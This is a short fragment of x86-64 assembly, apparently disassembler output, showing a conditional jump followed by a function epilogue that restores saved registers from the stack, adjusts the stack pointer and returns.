jne 0x1000be10
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
add rsp, 0x38
ret